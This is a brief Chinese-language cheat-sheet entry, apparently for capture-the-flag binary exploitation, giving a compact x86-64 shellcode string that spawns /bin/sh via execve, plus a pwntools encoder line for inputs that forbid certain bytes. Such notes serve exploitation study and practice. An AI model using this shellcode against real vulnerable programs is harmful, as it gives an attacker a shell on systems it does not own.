短shuallcode
shellcode='\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
有时遇到写的字符中不能包含'\x0b'这个字符,因此不能调用execve,可以换成以下shellcode
shellcode = encoders.encoder.line(asm(shellcraft.sh()))